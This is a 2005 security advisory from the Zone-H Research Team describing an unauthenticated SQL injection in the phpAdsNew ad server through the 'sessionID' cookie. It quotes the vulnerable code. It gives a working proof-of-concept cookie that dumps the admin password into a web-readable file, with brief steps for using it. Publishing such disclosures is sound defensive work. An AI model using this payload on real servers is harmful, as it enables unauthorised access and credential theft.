ZH200502.txt

`Zone-H Research Center Security Advisory 200502  
http://www.zone-h.fr  
  
Date of release: 11/11/2005  
Software: phpAdsNew (www.phpadsnew.com)  
Affected versions:  
<= 2.0.6  
2.0.7rc1 (latest CVS snapshot)  
Risk: Medium  
Discovered by: Kevin Fernandez "Siegfried" from the Zone-H Research Team  
  
Background (from their web site)  
----------  
phpAdsNew is an open-source ad server, with an integrated banner  
management interface and tracking system for gathering statistics.  
With phpAdsNew you can easily rotate paid banners and your own  
in-house advertisements. You can even integrate banners from third  
party advertising companies.  
  
Details  
--------  
Toni Koivunen has published an advisory yesterday regarding a  
vulnerability exploitable via /admin/logout.php, that can be used to  
delete arbitrary data (maybe more). However more sql injections are  
present in this part of the code, all the functions in  
/admin/lib-sessions.inc.php do not check the "sessionID" variable  
coming from the cookie, the most interesting is  
phpAds_SessionDataFetch() because it is called in config.php and makes  
a simple SELECT query.  
  
Snip:  
[no previous check]  
if (isset($HTTP_COOKIE_VARS['sessionID']) &&  
$HTTP_COOKIE_VARS['sessionID'] != '')  
{  
$result = phpAds_dbQuery("SELECT sessiondata FROM  
".$phpAds_config['tbl_session']." WHERE  
sessionid='".$HTTP_COOKIE_VARS['sessionID']."'" .  
" AND UNIX_TIMESTAMP(NOW())-UNIX_TIMESTAMP(lastused) < 3600"); <-- ouch  
  
Since /admin/config.php is included in /admin/index.php, we don't need  
to be authenticated to exploit the vulnerability.  
  
PoC (cookie):  
sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into  
outfile "/var/www/blah.txt"/*;  
  
Just "exploit" one of the many errors in the pages to get the path and  
here you go, open /admin/index.php with that as cookie.  
  
Solution  
---------  
No patch.  
  
Filter the variable in the affected functions.  
  
Original advisories:  
English version: http://www.zone-h.org/en/advisories/read/id=8413/  
French: http://www.zone-h.fr/fr/advisories/read/id=674/  
`